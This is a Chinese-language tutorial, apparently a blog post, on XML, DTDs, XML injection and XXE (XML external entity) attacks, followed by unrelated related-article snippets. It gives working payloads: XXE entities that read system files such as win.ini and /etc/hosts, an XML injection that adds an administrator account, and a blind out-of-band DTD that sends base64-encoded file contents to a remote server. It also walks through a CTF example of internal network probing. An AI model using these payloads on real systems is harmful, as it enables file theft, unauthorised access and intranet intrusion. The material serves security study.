XXE漏洞

0x01.xxe是什么

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

1.1xml定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)。

XML 的设计宗旨是传输数据,而不是显示数据。

XML 是 W3C 的推荐标准。

XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。

XML 语言没有预定义的标签。

XML 和 HTML 之间的差异

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

XML 被设计用来传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

为什么需要XML

现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

1.2文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"? encoding="UTF-8" standalone="yes"?>
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些分析器会直接忽略这一项。
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>



基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

0x02 DTD

DTD基本概念

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用

XML元素以形如 foo 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ' "

实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

dtd的引入方式

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部 DTD

使用内部引用的dtd文件,即将约束规则定义在xml文档中

2.1内部引用DTD

<!DOCTYPE 根元素名称 [元素声明]>

示例代码

<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

示例代码二

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

2.2外部引用DTD 重点!

(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径"> 本地的

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL"> 网络上的

当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note> test.dtd
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

示例代码2:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码3:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

示例代码4:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd; (1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

0x03xml注入

3.1XML注入前提条件

(1)用户能够控制数据的输入

(2)程序有拼凑的数据

注入实例

<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password> </admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入,构造payload

admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

最终被修改为:

<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>

这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。

XML注入两大要素:标签闭合和获取XML表结构

3.2XML注入防御

(1)对用户的输入进行过滤

(2)对用户的输入进行转义

0x04 XML外部实体注入(XXE)

XXE漏洞简介

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

simplexml_load_string()可以读取XML

4.1有回显读本地敏感文件(Normal XXE)

1.本地搭建环境

<?php
libxml_disable_entity_loader (false);//当这个是true就无法从外部实体注入了,也是防御手段之一
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>//可以实现任意文件读取
//当读取的内容有<>&'" 不加密无法读取,方法一
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-imbrave/fkme.txt"> ]>
<creds>&xxe;</creds>
//当读取的内容有<>&'" 不加密无法读取,方法二
方法2
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/fkme.txt"> //文件位置
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "d:/evil.dtd"或"http://127.0.0.1/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag> evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者“ 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记可以输入任意字符除了 ]]> 不能嵌套用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过

4.2无回显读取本地敏感文件(Blind OOB XXE)

本地搭建文件
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://公网ip地址/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://公网服务器ip地址:端口号?p=%file;'>">
就这监听端口号就会反弹信息

整个利用过程

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的思考:

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用:

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议

4.3HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/hosts 文件以后我们就有了大致的探测方向了

这里以一个题目为例[NCTF2019]True XML cookbook



抓包,

)

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<user><username>&file;</username><password>1</password></user>

看到了一些地址应该可以使用http内网探测,这个题也是很仁慈的,就在它后面的那一台里面就是flag

linux下目录的作用:https://www.cnblogs.com/dingn/p/5809298.html

关于XXE漏洞的更多相关文章

  1. xxe漏洞的学习与利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  2. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  3. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  4. ASP.NET微信支付XXE漏洞修复

    1. XXE场景 关于XML解析存在的安全问题指引 微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件 ...

  5. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  6. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  7. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  8. XXE漏洞

    原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码.当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取.系统命令执行.内网端口探测.攻击内网 ...

  9. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  10. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

随机推荐

  1. [bug] springboot 静态资源 layui.css 404

    目录结构 引用路径 <link rel="stylesheet" href="../static/layui/css/layui.css" type=&q ...

  2. [刷题] 454 4Sum II

    要求 给出四个整型数组ABCD,寻找有多少 i j k l 的组合,使得A[i]+B[j]+C[k]+D[l]=0 ABCD元素个数均为N,0<=N<=500 示例 输入: A = [ 1 ...

  3. kenel 和shell

    开源应用/商业软件 第三方应用 命令行 交互 shell kernel 设备

  4. Win10屏幕亮度不能调节,调节无效怎么办?

    Win10屏幕亮度不能调节,调节无效怎么办? 听语音 浏览:1027 | 更新:2019-11-22 11:43 1 2 3 4 5 6 7 分步阅读 一些用户在使用win10系统之后,出现了电脑屏幕 ...

  5. 057.Python前端Django模型ORM多表查询

    一 基于对象的查询 1.1 一对多查询 设计路由 from django.contrib import admin from django.urls import path from app01 im ...

  6. Python判断身份证是否合法

    利用正则表达式实现对身份证合法程度的判断 1 # !usr/bin/env python3 2 # coding:utf-8 3 """ 4 @ Copyright (c ...

  7. 处理SpringMVC中遇到的乱码问题

    乱码在日常开发写代码中是非常常见的,以前乱码使用的是通过设置一个过滤器解决, 现在可以使用SpringMVC给提供的过滤器,在web.xml设置,这比我们自己写的过滤器强大的的多. 注意:每次修改了x ...

  8. 桥接PyTorch和TVM

    桥接PyTorch和TVM 人工智能最引人入胜的一些应用是自然语言处理.像BERT或GPT-2之类的模型及其变体,可以获住足够多的文本信息. 这些模型属于称为Transformers的神经网络类体系结 ...

  9. Anchor Boxes示例实战

    Anchor Boxes示例实战 目标检测算法通常对输入图像中的大量区域进行采样,判断这些区域是否包含感兴趣的目标,并调整这些区域的边缘,以便更准确地预测目标的真实边界框.不同的模型可能使用不同的区域 ...

  10. Net Core 5.0 部署IIS错误-500.31-Failed to load ASP.NET Core runtime

    Windows Server 2008 R2不支持.net core 3.0版本及以后更新的各个版本. 面对如上图提示,第一想到的就是服务器安装的SDK或者hosting版本有问题,第一时间检查了安装 ...